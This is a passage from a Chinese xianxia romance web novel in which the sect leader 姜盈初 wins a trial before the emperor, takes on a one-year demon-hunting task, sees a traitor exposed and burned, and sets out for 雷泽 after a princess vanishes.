待到耳畔风的呼啸声渐渐止息,景帝这才缓缓睁眼。
高台下,一个清瘦的少年负手而立,身影挺拔。
在他脚边,全然都是惨败的对手,败得落花流水,惨不忍睹。
“哈哈哈!”没等景帝说话,一道尖锐的笑声先响起。
金汤阁主闷着一个青面獠牙的面具,拍手赞道:“不愧是临野,不愧我的大弟子!”
说这句话的时候,他的声音又变得沉闷,和刚刚放肆的笑声截然不同。
景帝揉了揉自己的眼睛:“他手中没有法器?”
“不错。”金汤阁主用一种小孩儿的声音说。
“咦?”景帝张大了嘴,“那他是怎么赢的?”
若是赤手空拳就撩到一片人的话,这实力未免恐怖!
“皇上刚刚已经见过了。”金汤阁主指了指比试台下的石桩,那上边放着一颗泛着奇异光泽的石头。
这也是金汤阁和其他那些坑蒙拐骗门派的区别。
此乃认真修行的门派,还有个能测出凡人修为的石头。
“临野前些日子修为刚到真人初期。”金汤阁主解释说,“此时便人器合一,随心所欲。”
话落,他递给台下的临野一个眼神。
临野随意抬手,无数银丝便从他周身蔓延开。
他又打了个响指,铺天盖地的银丝又乖乖收了回去,人也变成了刚刚那个乖巧的少年郎。
景帝愣怔片刻,朗声大笑:“甚好!甚好!既如此,那这除魔的重任——”
黑压压的一片云飘过来,打断景帝。
众人眯眼,定睛一看才发现:这哪里是什么云?是有人御剑而来。
姜盈初不慌不忙,带着言遮和三水稳稳落地。
金汤阁的修士里也有会御剑之人,跌跌撞撞追着姜盈初。
提心吊胆半天的若柒柒见状,长舒一口气,眉眼染笑。
可惜除了她之外,在场没人能笑出声。
“这是?”若柒柒身旁,一个锦衣华服的男人问。
他看着台下,神色有些古怪。
若柒柒勾唇笑道:“白掌门,这位便是与你齐名的仙门宗主,姜盈初啊。”
白虎派掌门闻言,整个人坐得更僵了。
要知道,一两个月前,他给景帝献了不少珍稀玩意儿。就是为了把京都以南的门派从姜盈初手里夺过来。
“我就说那些修士奈何不了她!”若柒柒兴高采烈道,“对不对?”
白虎派掌门干巴巴地“哈”了一声。
姜盈初这会儿和一个死囚犯一样。
本该被处死的囚犯突然活灵活现在武场,实在是嚣张。
景帝胆小如鼠,对着姜盈初,不敢吭声。
金汤阁主收到了景帝求助的眼神,捏着嗓子开口:“姜盈初,你这是何意?听闻昨日在审讯堂里,你分明没有半点异议。”
姜盈初颔首:“处死我这个灾星,我自然没有异议。”
“那你跑到这里做甚?”
姜盈初偏头不答,单膝朝景帝跪了下来,手中剑却没有丢。
她作揖抬眼,认真道:“听闻皇上要选一个除魔之人,臣女也愿一试。”
一石激起千层浪,满场哗然。
言遮摸着自己藏在袖中的笛子,无奈地闭了闭眼。
他原以为,在这里会是一场腥风血雨。于是擦亮了长歌匕,准备暗戳戳地帮她教训这些随风飘的墙头草。
不料小徒弟解决问题的方式实在太跳脱。
所有在武场的人此刻都有点儿懵。
趁众人还没反应过来,姜盈初起身,径直走向安安静静站在旁边的临野。
“是直接比试么?”她问。
临野满脸肃然,开口也十分平静:“不是。”
他指了指台下那颗金汤阁的奇石。
“要有一定的修为。”临野仔细地解释,“凡是没有飞升的人,修为即可被这块儿石头验出,此石共有七色。”
“赤橙黄绿青蓝紫。修为在绿以上者,方有机会参加比试。”
姜盈初点头,“多谢。”
在场人人依旧都僵着不动,眼睁睁看着姜盈初缓步走向那颗石头。
此时,并非人人都还没反应过来事态。
有人不敢动。
也有人不想动,更想看看姜盈初的手摸上石头时,石头会发出什么颜色的光。
仙门宗主,修为到底处在哪一水平呢?大家都很好奇。
众目睽睽,姜盈初抬手,利落地搭上石头。
8. 晋江文学城 08[期限]
阴云沉沉,天色黯淡。
好像此刻天地间有颜色的,只有众人眼里姜盈初的那抹苍绿裙影。
只有姜盈初的身影。
连她手下的那颗石头都没有颜色。
骤起的狂风吹醒人的神志,大家眯眼仔细一瞧——豁!那颗石头是真的没有任何颜色!
姜盈初的手在上面覆了许久,石头依旧是那颗平平无奇的石头。
哪有像刚刚一般赤橙黄绿青蓝紫的光泽?
人群中渐渐掀起交头接耳的私语。
姜盈初站在石头前,表情也难得疑惑。
能测出修为的办法并非只有这颗石头:飞升上神时的雷劫,可教人清楚自己的修为。
而在上神和普通人之间,还有个“真人”的水平。
凡人想修到真人的水平,时机到后,也会有一道源于自然的劫数。
或风或雪,或烈日,或暴雨。
总之,没有雷劫那么凶猛。
姜盈初清楚,她修成真人的那道劫已经顺利渡过——几年前,言遮把她从那场雪里捞出来的时候。
眼下的情况,会不会是这颗石头只能感应到普通人的水平呢?
“若是它泛起紫色光泽,那这位修士的修为会在什么水平呢?”姜盈初问。
台上,金汤阁主发出低沉的爆笑:“凡是没有飞升的修士,我这石头都能测出其修为。”
为了证明,他还特意指了指临野:“临野前些日子刚修到真人。”
临野会意,听话地把自己的手放在了石头上。
须臾间,石头泛起温润的深蓝色光芒。
“宗主如果习惯花拳绣腿,只会御个剑玩玩儿,还是请回吧。”金汤阁主讥笑着。
事态似乎十分明晰。
若是有人飞升上神,那雷劫定会引人注目。众所周知,姜盈初并没有经历雷劫,那她的修为定能被石头感应到。
眼下石头毫无变化的情况,只能是——姜盈初的修为实在浅薄?
“无妨。”姜盈初淡定转身,稳稳握剑上前,“石头坏了也有可能。”
金汤阁主狂妄的笑声戛然而止。
姜盈初这么评价金汤阁的奇石,他显然受到了冒犯。
姜盈初没有理会他的态度,也没理会任何人的脸色。她礼貌地给临野作揖,示意开始比试。
考虑到对方才修到真人不久,姜盈初把剑掷在一边,好心道:“我让你三招。”
这话一出,又是满场惊呼,恍若池畔蛙鸣不断。
一般来说,给对手说出这种话时,对手会有两种反应:平静接受。亦或觉得尊严受到了冒犯,果断拒绝。
临野却没有任何反应,在双双眼睛的注视中,看向了台上冒寒气的金汤阁主。
阁主轻点头。
临野正身,也点头。点头的幅度都照搬阁主的,分毫不差。
高手比试,三招足以致命,足以定局势。
何况在众人眼里,姜盈初就是一个连修为都没有,硬靠武力的人。
这种人和一位真人比试,还要让对方三招?
众人不约都挂上一副默哀相:自寻死路,无药可救。
果然,临野的三招动作迅疾如风,残影生风。
眨眼的功夫,台上就不见姜盈初的身影——
临野的银丝化作一个大蛹,她被困其中,只剩一个脑袋露在外面。
看起来,姜盈初动弹不得。
胜局已定,三招毕,临野停了手。
看着蛾状姜盈初的恬静脸庞,他后知后觉涌上几分不好意思:她都让了自己三招,自己出手却毫不留情。
嘶——这显得自己有点儿欺负人。
在人群的唏嘘声中,被姜盈初丢在一边的浮生剑缓缓升起,而后顶着无数目光,绕着姜盈初转了一圈。
全然是不知道该怎么闯进去的样子。
唏嘘声一浪更比一浪高。
啧,这剑都握不到手里,何谈杀招?何谈赢?
结果下一秒,就见姜盈初轻微动了动身子,所有绕着她的银丝化作漫天碎屑,洋洋洒洒。
临野愣怔,众人拼命揉眼睛。
这银丝是什么时候碎的?难不成那把剑刚刚转一圈的时候?
可那只是短短瞬间啊,不过一圈,就神不知鬼不觉地把银丝划得稀碎?
有人看着浮生剑,默默抱臂,生怕下个瞬间自己也会被划成肉沫。
在临野没来得及做出任何反应的时候,浮生剑已经架在他的脖子上。
鸦雀无声。
姜盈初收了剑,欠身,还有些愧疚地说:“我的错。”
临野:“?”
姜盈初:“我该让你五招才对。现在这般,显得我有点儿欺负人了。”
临野:“……”
他第一次体验到这种无话可说,无言以对的感觉。
“我赢了。”姜盈初言简意赅道,她看了眼金汤阁主,“你那石头或许真的坏了,该修。”
金汤阁主凝噎,同样无言无语。
姜盈初又向景帝作揖:“臣女赢了。”
景帝:……
景帝伸手擦了擦自己额角豆大的汗珠。
旺财不知什么时候从云清台溜了出来,这会儿正在言遮脚边看热闹。
看到姜盈初彻底压制一行人的场面,它忍不住感叹:“平时怎么没看出小姜姜这么可怕呐?”
言遮喃喃重复:“可怕?”
“是啊,可怕,太可怕了!”旺财谨记任务,什么时候都想提醒帝君,“这就是魔头相,你看见了不?现在是不是意识到你该马上动手了?”
言遮喉间溢出一声轻笑:“可怕么?”
旺财想要回答。
“嗯,挺可爱的。”言遮抢先自问自答道。
旺财:“……”
“你觉得什么是可爱?”旺财在地上打了个滚,问:“我可爱么?”
言遮眉头蹙起,惨不忍睹地移开眼,继续含笑看着台上小徒弟的身影。
旺财:……
帝君的眼睛果真不同凡人,对“可爱”的理解也怪诞得吓人。
*
姜盈初赢得风光,景帝左右找不出个理由,只好不情不愿地准备下旨。
君无戏言。
好在君言要出口前的那一刻,有人闪了出来,和姜盈初并排而立。
白虎派掌门,白鑫。
“臣觉得如此不妥!”白鑫大声道。
景帝立马顺势问:“哦?”
白鑫目视前方:“姜盈初头顶灾星之称,且将要行刑。如若让一介灾星领了除魔的差事,恐难服众!”
姜盈初善意地提醒他:“我赢了比试,且这比试没有定灾星不能参加的规矩。”
那是不知道你会跑来参加!白鑫心中腹诽,如若知道你会节外生枝出现在这里,这种规矩肯定是要定的!
龙椅上,景帝犯难,也附和道:“是啊,姜宗主赢了比试。”
他纠结半晌,突然面露喜色,仿佛找到了折中之计。
“那朕便插手一下钦天监的事务,免了你的死刑,如何?”景帝眼巴巴地问。
姜盈初握剑的手用了几分力,“臣女赢了比试,寻个除魔之人的比试。”
景帝也是个人精,对姜盈初的话不闻不问,话锋一转道:“你可还有其他什么愿望?”
“有。”姜盈初沉吟瞬间,指了指台下的言遮和三水,“既能免去臣女的刑法,那这两个被臣女连累之人……”
“免!自然也得免!”景帝不假思索,“可还有别的?”
“有。”姜盈冲又点头,“臣女赢了比试。”
发现绕不开这个话题的景帝很头疼,“这个嘛,像刚刚白掌门所言——”
“臣收回刚才的话。”白鑫突然道,“既然姜宗主有这个实力,那除魔之人无疑得是她。
景帝一头雾水。
他拦着姜盈初,本来就是因为白鑫给自己送的那些玩意儿,怎么白鑫现在改了口?
众人摸不着头脑之际,就听白鑫又言:“只是除魔之重任,不能没个期限。否则一除八年十载,领了差事的不作为,该如何是好?”
他阴森森地盯着姜盈初。
好问题,问得姜盈初陷入沉思。她在认真地想,该给自己多长时间呢?
她想到了各大门派被灭,想到了那个挑扁担的老妇人,想到了丽妃……
想到了这段时间的种种疑云。
她又想到了谷雨,想到了大雨峰主,想到了沐阳山一众弟子……
想到了所有被卷进这些疑云里丧命的人。
片刻,姜盈初抬眼。
她没有对着白鑫回答,微微仰头,沉声道:“一年。”
豁!这个宗主有点疯。
众人都没有想到,姜宗主为了跟白掌门置气,会定下一年这么急匆匆的日子。
姜盈初主动给出了这么紧迫的回答,白鑫也无话可说。
一年之内除掉魔头——怎么看都像个死差。
*
仙门宗主接下除魔重任的消息很快在京都传开。
“那位宗主被白掌门一逼迫,自己先急了,当即立了个惊天大誓!”说书先生猛地一拍醒木,深深吸气,悠悠道来:“她说,她要在一年之内办了这除魔的差事!”
底下听客愣怔过后,摇头唏嘘。
“她再想证明自己,也不能给皇上交代一个这么短的期限啊!”
只有路过茶楼的姜盈初知道,这个期限不是她给景帝的交代,也不是给白鑫的交代。
这是她给自己的交代。
所以听到茶楼里这些叹息的声音,姜盈初不屑地嗤笑了一声。
她加快脚步,目若冰霜。
不过使她目若冰霜的原因,可不是茶楼里这些不值一提的声音。
而是此刻手里攥着的那封信。
半个时辰前,姜盈初收到了一封信。
沐阳山里出了个叛徒,她现在赶着去瞧一瞧叛徒的尊容。
金汤阁隐在城中,姜盈初费力地找了半天,才摸到一条迂回的石阶。
顺阶而上,七步经一门。
道两旁的龙梅应是用了术法,大朵大朵,一簇一簇地开。
姜盈初泡在淡淡的梅香里,心头蓦然涌上几分似曾相识的感觉,可又说不清什么让她觉得熟悉。
一朵碎花孤零零地躺在石板上。
姜盈初俯身,伸出葱白手指,捡拾这朵花。
*
金汤阁层层楼宇最后的宫殿里,闻项抬手,拿起了桌上的面具。
不远处跪地的李良辰看见这一幕,心里倒吸一口凉气。
他竟不知闻项就是赫赫有名的金汤阁主。
但李良辰的接受能力一等一好,须臾就认下了这个事实,还感到忽然轻松。
他本来还不知道金汤阁主招自己来有何事,提心吊胆。
好在阁主就是闻项,他悬着的心又放了下来。
“上仙找我,可是有什么事?”李良辰问。
闻项变了声音,尖声尖气道:“如你所愿,眼下姜盈初平安无事。可她接了除魔的差事,多风光呐,这可不是我想要的结果。”
李良辰脸上浮现出疑惑的神色:“上仙不是意在毁了沐阳山吗?”
闻项坐了下来,单手扶额,轻嗤道:“人心不满足嘛,就像本仙派你去姜盈初身边做事,你却节外生枝,起了不该有的心思。”
好似一道惊雷从脑海里炸开。
李良辰愕然地跪了下来,嗫嚅无言。
殿里气氛冷到极点,恍若回到了那年在西梁的冬天。
西梁,东洲边境,毗邻别国。
烽火狼烟时,李良辰是一个人如口音的小卒,老实,胆小。
战前一夜的天黑沉沉,可在李良辰眼里,天却是那么红,月也那么红。
他在心里喃喃道:东洲的月亮流血了,血染红了天。
这事儿多奇怪呐,要告诉阿娘。
李良辰想翻个身,想把睡在一旁的阿娘喊醒。
结果,他突然发现自己动不了一点。
哦,他现在跟数十人挤在一顶毡帐里,自然动不了。
李良辰唰地睁开眼。
他现在跟数十人挤在一顶毡帐里!那睡在他旁边的阿娘呢?
他仔细地想,拼命地想,绞尽脑汁地想。终于想了起来——他娘早死了。
钻出毡帐,李良辰发现天不是红的,月亮也青白。
红的是地!红的是大地啊!
地上血流成河,尸体如山。
李良辰僵着身子,左右张望,然后在一座尸山下看到了自己的脸。
是啊,明日天光乍破,他的血就会这么流一地,他的身子就会任马蹄踏过,他的一生就这么草草结束。
越想越怕,越想越怕……老实又胆小的李良辰决定逃跑。
他边跑边小心回头,边抹泪边低声骂:“一群王八羔子!一群泼皮无赖,自己要打这破仗,自己又缩在后面当王八!就欺负我们这些贱骨头——”
“是吗?”前方,一道声音懒洋洋地问。
李良辰登时吓得跪地,浑身血液凝固。
眼前这人赫然是大帅。
李良辰绝望地闭上了眼:这下好,不用等明日战死沙场,他今日就能人头落地。
可出乎意料的是,闻项并没有怪他,反而将他留在了身边,让他成功在这一战里苟活下来。
自那以后,李良辰便追随闻项,直到闻项主动向他说了自己是修士,要他去姜盈初身边潜伏着。
“怎么不说话?”闻项指节轻点桌案,问。
李良辰说不出来什么话。
闻项戴着个小孩儿咧嘴笑的面具,憨态可掬。
“你把你腰间那个香囊送我,如何?”他问,“你把香囊送我,我就不计较你节外生枝的事儿了。”
李良辰点头,解下香囊。
但他并没有立即给闻项,而是先从香囊里抽出来了一张符纸,再把香囊递上。
这张符纸源于姜盈初。
李良辰接近姜盈初的手段也是闻项安排的,他的计策十分毒辣,把李良辰直接丢进了狼窝。
看着周围眼泛绿光的恶狼,李良辰心很凉:此情此景,姜盈初来救他,就是以身犯险。
她应该不会管自己吧?自己应该会死在这里吧?
狼群突然激动起来,李良辰连忙紧紧闭眼。
各种咆哮过后,天地安静,李良辰都要怀疑自己已经魂魄出了窍——直到一滴温热的血溅在他脸上。
姜盈初神色凝重,疾步上前:“你没事儿吧?”
她胳膊被咬了一口,血淋淋的,却好似感受不到疼一样。
“喏,把这个装到你的香囊里。”姜盈初画了张符,递给李良辰,“我听他们说你常居山中,野兽出没,倒也危险。”
她的神情认真,发丝随风飞扬。
李良辰愣了片刻。
这会儿,闻项接过他递来的空香囊,也愣了片刻。
他低低地笑了起来,配上笑盈盈的面具,显得心情愉悦。
李良辰松了口气,也赔笑两声。
想笑第三声的时候,他的眼珠突然瞪大,满脸恐惧。
他发现自己说不出话了!
闻项还在笑,笑着笑着,猛地停顿。
“你抽了符纸,难不成是以为我看上了你这破香囊的绣工?”他狠戾地问。忽而起身,仔细地围着李良辰打量一圈,“啧,我记得你会写字。”
李良辰连忙抱住了自己的胳膊。
下一瞬,他的两条胳膊又有气无力地垂了下来,任凭他如何挣扎,胳膊就是动不了,赫然成了两条点缀!
“阁主,人来了。”下人来报。
闻项愉悦地应了一声。
李良辰的心里瞬间涌上不好的预感,踉跄地站起身,想要逃窜。
慌乱中,他看见了来人的身影,又瞬间走不动道了。
“金汤阁主。”来人唤道。
闻项拱手招呼:“姜宗主。”
下人来添茶倒水,姜盈初没有理会,她开门见山地问:“阁主信上所言,可有证据?”
“哈哈哈,那自然是有的。”闻项笑道,拍手,空中浮现出一面云雾的镜子。
李良辰看向镜中——那镜中浮现出一个熟悉的身影,是自己!
镜中,李良辰鬼鬼祟祟,将符纸埋在了山上各处。
画面一转,天雷轰轰,那些埋了符纸的地方纷纷被击中,妖火蔓延。
闻项又挥了挥手。
只见沐阳山鬼哭狼嚎一片时,李良辰正在客栈里闭目养神。
姜盈初攥紧了手,骨节泛白,但并没有失去理智。
她问:“阁主为何告诉我这些?我又如何分辨这画面是真是假?”
闻项发出一串银铃般的笑声,嗓音变得清脆:“自然是我有事相求了。至于真假——此乃识海之相,宗主如若不放心,自行探查便是。”
姜盈初一愣,“你是上神?”
“那怎么可能呢?”闻项反问,他在心里默默答到:吾乃上仙。
“那你怎会进人识海?”姜盈初不解。
闻项继续扯谎:“秘术怎可外传?”
姜盈初:……
“昨夜他来向我投诚。”闻项指了指李良辰,“说使得沐阳山满门被灭的人正是他。”
“可惜我这人不喜叛主的走狗,便用了进人识海,窥人记忆的术法。宗主见谅。”
殿内一时无言。
李良辰拼了命地张嘴,挣扎着想要为自己辩解——可他根本就发不出一点声音。
姜盈初也注意到了,问:“这是?”
“术法对人总会有点影响的嘛。”闻项笑呵呵地答。
微风吹进殿内,帷幔轻盈起舞。姜盈初默然片刻,提剑问:“你要求我什么事?”
伴随着闻项的咳嗽声,清瘦的少年从屏风后走出。
是昨日刚败在姜盈初手下的临野。
“临野是我最看重的弟子。”闻项语重心长,“本想让他领了除魔的差事去历练,可这差事却被你夺走了。”
姜盈初纠正道:“被我赢走了。”
“哈哈哈——”闻项尬笑两声,“是,被宗主赢走了。我想求宗主去除魔时捎上他,他打个下手也好,怎么都算历练一番。”
说得好听,是送个打下手的伙计。
说得直白,是安插个监视的眼线。
姜盈初不悦地皱起了眉。
闻项察言观色,不等她拒绝,连忙又补充道:“若是宗主答应,我定竭力再替宗主办成一件事。”
办成一件事……姜盈初倒还真有好多件事无从下手。
想了想,她点头说:“可以。我的确也有事相求。”
“宗主但说无妨。”
姜盈初:“能否劳烦阁主替我探查一个人的消息?”
闻项:“谁?”
姜盈初:“闻项。”
闻项:……哈?
姜盈初觉得闻项一定有问题。
那日席上,他说出的那番话,和自己记忆的重合度实在是高。
姜盈初怀疑他是故意为之,故意的背后,必有隐情。
“阁主可能办成?”她问。
闻项郑重点头:“定当竭尽全力。”
让他自己调查自己,真新鲜啊。
双方协商成功,达成一致。姜
盈初侧身,终于正眼看向李良辰。
“他今后都是废人一个了么?”姜盈初问。
闻项:“不错。”
得知什么消息都不能再问出,姜盈初眼底划过一丝遗憾,而后带着临野步若流星地往外走。
闻项很吃惊,高喊:“宗主,你不处理这条走狗吗?”
姜盈初抬了下手,意味不明。
闻项满头雾水之际,余光瞥见身侧火苗翕动。
那符纸凭空自燃,一圈烈焰将李良辰困于其中。
烈火焚身,偏偏李良辰有口难言,哪怕痛得钻心剜骨,却都嚎不出一声。
意识消散之际,他想到了那年姜盈初的话。
彼时他跪倒在她身边,低声下气,小心翼翼:“我愿誓死追随侠女!”
姜盈初笑得很温婉:“誓死到不用,一心便可。”
李良辰身形猛地一震。
要知道,他可是闻项派来的人,实在无法一心追随她。
鬼使神差,他故作玩笑地问了一句:“敢问侠女,如若我有二心了呢?”
“那你怕是死到临头了。”姜盈初同样轻松地说。
玩笑还是认真话?李良辰那时没有分辨出来。
现在他知道了。
现在他也确实死到临头了。
*
除魔之行的人基本敲定下来。
师父和师父的猫是必需品,即便姜盈初不带,他们也会狗皮膏药一样贴上来。
临野是金汤阁主送来的狗皮膏药,和阁主做交易换来,更是丢不掉。
三水——三水是有特殊能力的小孩儿,除魔之行需要他。
姜盈初算来算去,发现队伍已经差不多成形。
还剩一个无法确定的若柒柒,她明后天去宫里问问即可。
而此刻,天色昏暗下去,城中灯火渐起,这四人一猫依旧泡在云清台的藏书阁。
本来姜盈初来这里的藏书阁,只想碰碰运气,没抱多大希望。
毕竟云清台说白了,就是一个接待修士的客栈。
不料一脚刚踏入藏书阁的门槛,除魔之任务就有了重大的进展。
临野眼神似乎格外好,运气也好上天,一进来就发现一本泛黄的古籍,记载了关于魔的一条重要消息。
魔者,并非天生就是魔,而是生来具有容易化魔的灵根。
哪怕是魔头,也只是灵根极其容易化魔。
不过化魔之后的实力则会无比强悍,翻手为云覆手为雨。
凡人化魔,需在短时间内彻底经历人间七苦:生,老,病,死,怨憎会,爱别离,求不得。
至于这些劫数都如何经历,在何处经历之类的问题,古籍上没有记载,姜盈初也无从知晓。
她只好调兵遣将,连旺财都抱进了藏书阁,想再发现一点有用的东西。
不过她的兵将并非都是精兵。
其中以师父为代表,最显无用。
临野和姜盈初埋头于书架间,一卷接一卷地翻。
窗边案旁,言遮捧着书卷百无聊赖,旺财睡得鼾声连天。
三水倒是在聚精会神地看书,时不时嘴角上扬,恍若看见了什么重要的字句。
言遮见状,心里诧异。
他闲得发慌,逗小孩儿道:“喂,你笑得这么开心,难不成是发现了什么?”
书本缓缓下移,挡住下方勾起的嘴角,露出上方黑溜溜的一双眼睛。
三水警惕地看着对面的病秧子。
嗯,病秧子。
这是三水这几日对言遮最深刻的印象。
而且他发现,这个病秧子的病很蹊跷,每次咳嗽都有规律可循。
饭菜不可口,他咳;
被人忽视了,他咳;
姜盈初和自己多说几句话,他也咳。
三水看不惯把咳嗽当手段的小人,不想搭理他。
可惜言遮兴致来了,百折不挠,不罢休地问:“唉,你发现什么了?先给我说说呗。”
三水冷傲地别过头。
下一瞬,他发现自己手里一空,而后又立马多出一本书。
但不是原来看的那本了。
三水气鼓鼓地抬眼,妄图用眼神杀言遮千百遍。
偏偏言遮是杀不死的顽物。
他懒洋洋地笑,哄人也漫不经心:“你就适合看这种全是图画的,乖。”
受到侮辱的三水一蹦而起,挣扎着要从言遮手里抢自己的书。
“哎哟,你这小孩儿,怎么好赖不分。”言遮后退,一边把抢来的书举得更高,一边故作用心良苦:“你的脑子就这么大,你看太多的字,脑子装不下了,人就傻喽。”
“木偶的图画儿难不成没有字好看?你看,细线一提,这木头人能跑能跳的,多好。”
三水气得蹦蹦跳跳:“我十岁了,不是小孩儿!”
言遮:“咱俩谁小?”
三水:“……”
言遮:“你不是小孩儿,难道我是小孩儿?”
三水:“……”
三水只好跑去书架,踮脚又给自己拉了一本出来,而后牢牢护在怀里,和言遮保持着十万八千里的距离。
言遮心满意足地眯了眯眼,鸠占鹊巢地看起了抢来的书。
一目十行地上下扫完,他忍不住挑眉。
这哪里是什么和寻魔有关的书?
这是儿女情长的话本子,写的故事也让言遮皱眉。
写了一个年轻的姑娘,和一个比她大许多的秀才相恋。
相恋前万般坎坷,可真恋起来,却没恋几天。
情人变仇人,姑娘挥着手绢怒骂:“一把老骨头,等你入土了,我还正值妙龄!”
言遮看到这儿就扔了书,闭眼轻揉眉心。
旺财一觉睡醒,迷迷糊糊间看到帝君满脸惆怅的样子,吓得睡意全无。
“咋啦咋啦?”它忙用心声问道。
言遮幽幽地看过来,笑意寒凉:“我一把老骨头了,眼睛不舒服,很正常。”
旺财:?
它不知道帝君在发哪门子疯。
一连两个时辰,言遮都把“老”字挂在嘴边,神情幽怨,又夹杂着那么几分莫名的委屈。
旺财觉得自己后背发凉。
跟了这么一个主子,可谓猫生渺茫。
知道夜很深,一无所获到一群人不得不往出走时,姜盈初注意到了她师父的落寞。
“风大,外袍系好。”姜盈初抬手,理了理言遮的狐裘领子。
云清台树上挂着小石灯,泛着衰弱的光,照得言遮的神情晦暗,语气也更显幽幽:“我一把老骨头,不挨冻也是——”
“是么?”姜盈初打断他,随口道:“我怎么没看出来你老?”
明眼人都能看出来,姜盈初纯属没有心思闲聊,在很敷衍地结束谈话。
偏偏帝君眼瞎,看不出来。
旺财惊悚地发现,小姜姜随口一句话,自己主子又恢复了正常。
这个现象不正常。
帝君也不正常。
“我们明天去哪里呀?”三水在灯下踢着小石子,问。
姜盈初叹息一声,道:“早上我进宫去找个人,午时启程去沐阳山。”
三水:“我们不是要除魔吗?去沐阳山干什么?”
此话一出,在场几双眼睛都朝三水看来,三水浑身一震。
“去沐阳山收尸。”姜盈初心累地解释。
对于三水,姜盈初告诫自己,一定要有耐心。
这个小孩儿虽然看起来活蹦乱跳,可实乃在凄风苦雨中长大的野草。
年方十岁,却在七岁时就被爹娘轰了出来。
因为他似乎能预知未来的能力,人人将其避如蛇蝎。
这不,流浪至京都,还差点因为预言了丽妃的死而丧命。
所以姜盈初看他,总有种同病相怜的感觉。
“收尸?”三水童言无忌地重复道。
言遮的手已经从后面幽幽伸出,想捂住这张提及小徒弟伤心事的破嘴。
三水却抢在被他捂嘴之前问道:“你为什么不去雷泽看看呢?”
“什么?”姜盈初问。
她知道雷泽是东洲南边的地方,却不知道此刻三水提及它的含义。
三水指了指藏书阁的方向:“我今天才看到的,雷泽紧挨无妄海,无妄海里有能让人起死回生的草药呢。”
几人皆是一愣,彼此对视,而后默契地朝藏书阁狂奔过去。
*
此刻狂奔的人不止姜盈初,还有在宫里的若柒柒。
她一溜烟跑进自己宫里,脸色黑青,十分骇人,活脱脱是和人干架的神情。
侍女小心翼翼地唤她:“殿下?”
若柒柒忽然起身,同手同脚地往内走。
她烦躁地叮嘱侍女:“拿二两银子赏给四皇子,就说他编出那番说辞辛苦了。”
侍女不明所以,不敢吱声。
一炷香前,若柒柒在叶游苑吹风养神,琢磨着自己应该如何溜出宫。
“皇姊。”一道声音唤她。
瞥见来人,若柒柒立马警觉起来,转身要走。
常平却没眼色地挡在她身前,问:“皇姊为何怀疑丽妃一事是我所为?”
若柒柒嗤笑出声,冷冷道:“因为我请封皇太女一事。”
夜风里,常平的身影显得格外清瘦。
他依旧儒雅地握着书卷,语气却失了以往的谦和:“皇姊怀疑我容不下你?”
“难道不是?”
“皇姊可记得父皇几年前对我的评价?”常平仰头望天,轻声问。
问这个问题,简直自取其辱。
“当然记得。”若柒柒无需回忆,利落地答道:“吃喝玩乐,难成大器。”
常平笑了一声,又问:“那皇姊可知我为何后来又发愤图强?”
“皇姊不想知道。”若柒柒道,转身离开。
月光在地上借枯枝影开出花树,步步葱茏。
常平追在后面,诚恳地解释:“因为我看见皇姊请封皇太女,那时,她周身都散发着一种天不怕地不怕的坚定,比美色沉鱼落雁还撼动人心——”
若柒柒越听越觉恐怖,彻底跑出了常平的视线。
四皇子夸人,结果把人夸吓跑了。
他站在原地,忍不住笑自己的过分。
而若柒柒心中赫然巨浪滔天,久久不能平复自己惊骇的心情。
被人夸的这种经历,她很稀缺。
从前在皇宫,她是文武双全,雷厉风行的二殿下。
后来在华云山,她是索心锤不离手的掌门。
别人和她说话都鼓足了十二分的勇气,更别提什么夸赞之词了。
细数夸过她的人,除了父皇母后,也只有姜盈初。
因为稀缺,若柒柒也不习惯被人夸。
往往姜盈初没说两句,她就先闹个大红脸,然后羞愤交加地提着玉锤轰走姜盈初。
况且刚刚这么夸她的人,是她一直视为死对头的四皇子!
若柒柒说不上自己是什么心情,只想跑。
常平在原地无措地站了会儿,也往回走。
碰上一队巡查的巡更
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使,常平示意他们免礼。
巡更使继续往前走了。
而一簇凡人看不见的浓黑烟雾悄悄窜了出来,眨眼间,化为常平的模样。
在上面看时,就是两个一模一样的常平背道而驰的怪诞场景。
那队巡更使就看见刚刚离开的四皇子又追了上来,渐渐超过他们,向别处的宫里走去。
*
“臣清清楚楚地瞧见了,往二殿下宫里走的,确实是四殿下。”
隔天,被传来的巡更使诚恳地说。
一队巡更使,分别传唤,个个言辞都一致。
姜盈初皱起了眉,常平也一脸不解。
二殿下昨夜不翼而飞,问遍宫里人,只有这队巡更使说看见了四殿下往二殿下宫里走。
可常平身边的侍从和宫里的下人都能证明,昨夜四皇子只在叶游园与二殿下闲聊几句,并未追去宫里。
若柒柒好似人间蒸发了一般。
赶来找她商量除魔一事的姜盈初赶到焦头烂额。
她四下张望踱步,忽然停在了若柒柒的书案前。
案上有卷摊开的书卷。
“雷泽”二字映入姜盈初的眼帘。
*
姜盈初都没来得及赶去沐阳山,借着除魔之人的名号,差事钦天监去沐阳山,将尸体暂且都安置在冰棺里。
而她自己和其他三人一猫,当即就赶往了雷泽。
姜盈初听说过雷泽,从前在她眼里,那是一处桃花源般的地方。
她见过雷泽的一幅画:群山环绕着一座小城,满城茉莉夹在新绿春雨间。
因为城中一步一棵茉莉,景色实在独特。
又因为那幅画是声名远扬的大师所作。
雷泽这个地方也被人知晓。
雷泽在东洲最南边,距京都自然远。
好在姜盈初和临野都会御剑,饶是如此,一天的行程也不够他们飞到雷泽,只能找一家客栈落脚。
“劳烦给一碗白水。”姜盈初不忘对着小二道,“我师父得喝药,茶水犯冲。”
小二领了赏银,自是点头哈腰。
姜盈初担心若柒柒,夜不能寐。
她倚在窗边,满眼忧虑。
被言遮派来安慰人的旺财就时而蹭蹭她的手,时而用小猫脑袋拱着她的手心。
隔壁的房间里,言遮也没有睡着。
他可不是因为担心若柒柒的死活才不能入睡。
而是雷泽这个地方,能勾起言遮的一些回忆。
他手指点了茶水,在桌上写出一个“梅”字。
那是很多年前了。
时光漫漫,具体多少年,言遮已经难以记清。
只依稀能想起来,他当时应该和如今的姜盈初一般年纪。
彼时东洲不叫东洲,仙家也不五花八门,天下只有一个门派,名扬四海。
清早温柔的阳光从一棵龙梅的缝隙里倾泻而下。
意气风发的少年在树下练剑,举手投足间都划出一阵迅疾的气流。
大有剑指长虹之势。
可仔细瞧,又能窥见一种别样的温柔。
他动作虽雷厉风行,可每每划过龙梅那侧时,总会收了力,温柔拂过。
“师弟!”不远处,一个身影喊道。
言遮顿住,收剑回头,看见了朝自己走来的大师兄。
“师兄。”他恭恭敬敬地作揖,问:“师兄有何事?”
被唤作师兄的那人道:“师父要你去买些花种回来,要葵花籽,马上就要。”
